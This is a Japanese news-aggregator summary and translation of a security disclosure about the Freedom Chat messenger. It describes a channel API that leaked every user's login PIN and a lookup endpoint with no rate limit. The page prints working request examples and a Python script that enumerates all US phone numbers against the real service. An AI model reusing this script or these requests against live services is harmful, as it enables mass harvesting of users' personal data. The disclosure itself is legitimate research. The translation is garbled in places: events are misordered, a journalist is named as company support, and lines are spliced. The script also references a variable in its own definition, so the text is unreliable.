
2025/12/16 4:23
“Super secure” messaging app leaks everyone's phone number
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Summary
Freedom Chatは2023年にメタデータのないエンドツーエンド暗号化メッセンジャーとして発表されましたが、実際にはユーザー情報を漏洩させる重大なセキュリティ欠陥があることが判明しました。セキュリティ研究者は次の点を指摘しています:
- アプリのSeald E2EEは誤って実装されており、メッセージキーは公開情報から導出可能であり、すべての暗号化されたメッセージがオープンなFirebaseバケットにアップロードされるため、トラフィック全体が読み取られます。
- メッセージは集中型サーバーに保存されており、宣伝されていた分散アーキテクチャと矛盾しています。
- チャネルの応答には各メンバーの6桁PINが平文で含まれており、デフォルトチャンネルに1,519人のユーザーがいるため、すべてのユーザーのPINが他者全員に公開されます。
エンドポイントは電話番号を受け付け、レートリミットなしで一致するUIDとSealdキーを返します。これにより攻撃者はすべてのユーザーを列挙できます。北米の全電話番号を一括送信するスクリプトは約1日で全UIDとPINを取得しました。/user/numbers- クライアントは
でスクリーンショットをブロックしますが、Frida(セカンダリな詳細)で無効にできます。FLAG_SECURE
これらの問題を12月9日に修正した後、Freedom Chatはアプリをストアから撤回し、ブランド名を変更して「保守的サークル」をプライバシー懸念の原因と責任転嫁しました。最新情報では、同社は脆弱性を修復し、ウィーン攻撃後に監査手順を追加したと主張していますが、さらなる技術的詳細は提供されていません。
ユーザーは電話番号、PIN、およびメッセージ内容などの個人識別情報がすべてのチャネル参加者に漏洩するリスクがあります。これはプライバシー重視型メッセンジャーサービスへの信頼を損ない、堅牢な暗号化実装の必要性を強調しています。
本文
両者ともにモバイルアプリ開発の経験はありませんでしたが、
「私たちはどちらも頭がいい。これほど難しくないはずだ」と思ったのです。
Freedom Chat CEO タナー・ハース
背景
2023年、Converso という新しい即時メッセージングアプリが登場しました。
「最先端のエンドツーエンド暗号化」「メタデータを収集しない」「サーバを一切使用しない分散型構成」といった大胆な主張で注目を浴びました。
セキュリティ研究者 crnković が逆解析を行うと、以下の事実が判明しました。
- すべての主張は偽りだった。メタデータは収集されていた。
- メッセージは第三者の E2EE プロバイダー経由で中央サーバに保存されていた。
- 暗号化されたメッセージの鍵は公開情報から導出可能で、すべてのメッセージがオープンな Firebase バケットへアップロードされていた。
短期間の更新後、Converso は App Store と Google Play から撤退し「問題点を解決・改善する」旨を発表しました。
CEO のタナー・ハースは自費出版していた書籍の執筆を一時停止し、リブランディングに関するレッスン・リーンブログを書き(プライバシー懸念は主に保守派から来ると主張)、後に crnković の開示に対して曖昧な法的脅迫で応じました。
パート 0 – セットアップ
- Google Play から Freedom Chat をダウンロード。
- HTTP Toolkit でトラフィックを監視。
- アプリは
でスクリーンショットをブロックしているので、Frida で無効化。FLAG_SECURE - サインアップ:電話番号 → 2FA コード → 任意の PIN(デバイス間復元時に必須)。
メイン UI:
- チャットペイン – 個別会話を開始。
- チャンネルペイン – ユーザーが運営するマイクロブログ型チャンネルへ購読(Telegram スタイル)。
パート 1 – 探索
テキストメッセージの送信
POST https://eagle.freedomchat.com/message Authorization: Bearer <JWT> { "sendId":"bdbf9ef7-aaca-4a57-8c4e-5fe978205299", "type":"text", "isEncrypted":true, ... }
- レスポンスには暗号化された Base64 エンコードテキストとメタデータ(既読情報等)が含まれる。
- Seald E2EE を使用し、今回の送信では Firebase アップロードは行われない。
チャンネル機能
「Freedom Chat」チャンネルを開くと、他のチャンネルが提案される(タナー・ハース本人や保守系インフルエンサーのものも含む)。
パート 2 – すべてのユーザー PIN を漏らす
チャンネルを開くと大量のレスポンスが返ってきます:
POST https://eagle.freedomchat.com/channel?take=1000&skip=0 Authorization: Bearer <JWT>
配列に 1519 件のエントリ。members- 各メンバーオブジェクトには
フィールドがあり、アカウント作成時に設定した 6 桁 PIN が入っている。pin - チャンネルに所属している(デフォルトの Freedom Chat チャンネルを離れていない)全ユーザーは、他のすべてのユーザーの PIN を閲覧できる。
これにより、ログイン PIN の機能が完全に無効化されます。
パート 3 – 連絡先検索(WhatsApp スタイル)
アプリは「連絡先を招待する」オプションを提供します。送信例:
POST https://eagle.freedomchat.com/user/numbers { "numbers":["+13322699625","+13095416781","+16042771111"] }
- レスポンスには UID、電話番号、および Seald キーが返る。
- このエンドポイントはウィーン研究者たちが WhatsApp の調査で悪用したものと同一で、レートリミットは観測されていない。
チャンネル列挙と組み合わせれば、任意の電話番号をその PIN にマッピングできます。
パート 4 – エクスプロイト(列挙スクリプト)
import itertools, pandas as pd, json, requests, datetime, random from time import sleep area_codes = [201, 202, … , 989] # 米国全エリアコードリスト digits = ("0","1","2","3","4","5","6","7","8","9") orig_combinations = pd.Series( ["".join(x) for x in itertools.product(digits, repeat=7)] ).loc[~orig_combinations.str.startswith("0") & ~orig_combinations.str.startswith("1")] with open("freedom_enum_log.txt", "w") as logfile: random.shuffle(area_codes) for ac in area_codes: logfile.write(f"Starting area code {ac}\n") combinations = ["+1"+str(ac)+c for c in orig_combinations] url = "https://eagle.freedomchat.com/user/numbers" authToken, refreshToken = "...", "..." for i in range(0, 8000000, 40000): tranche = combinations[i:i+40000] + ["+13322699625"] payload = {"numbers": tranche} headers = { "accept":"application/json", "authorization":f"Bearer {authToken}", "content-type":"application/json" } response = requests.post(url, json=payload, headers=headers) if "Unauthorized" in response.text: r = requests.post("https://eagle.freedomchat.com/auth/refresh", json={"refreshToken": refreshToken}) authToken, refreshToken = r.json()["accessToken"], r.json()["refreshToken"] response = requests.post(url, json=payload, headers=headers) if response.text.count("uid") != 1: logfile.write(response.text+"\n") if response.elapsed > datetime.timedelta(seconds=3): logfile.write(f"Getting slow! {response.elapsed}\n") logfile.flush() logfile.write(f"Done area code {ac}\n")
- 米国の有効電話番号(約 7 百万件/エリアコード)をすべて列挙。
- 40,000 件+既知ユーザーをバッチ化し、失敗を検出。
が正確に 1 件含まれないレスポンスをログへ記録。uid
結果: 約 27 時間でスクリプトは完了し、数千件の UID と電話番号ペアが入ったログが生成されました。リクエスト失敗や 3 秒超過は確認できず、レートリミットが無いことを裏付けています。
タイムライン
| 日付 | イベント |
|---|---|
| 2025‑11‑23 | 脆弱性発見 |
| 2025‑12‑04 | Freedom Chat サポート(Zack Whittaker)へ報告 |
| 2025‑12‑05 | Freedom Chat から「PIN は過去メッセージを復元できない」「監査手順を約束」と回答 |
| 2025‑12‑09 | Freedom Chat が問題点を修正したと主張 |
| 2025‑12‑11 | TechCrunch とここで公開 |
まとめ
Freedom Chat の「安全」メッセージングは、以下の二つの欠陥により実質的に破綻しています。
- チャンネルメンバー情報を通じて、すべてのユーザーのログイン PIN を公開している。
- レートリミットが無い連絡先検索エンドポイントで電話番号と UID を結び付けられ、PIN と照合できる。
この組み合わせにより PIN 機能は機能不全となり、すべてのユーザー認証情報が漏洩します。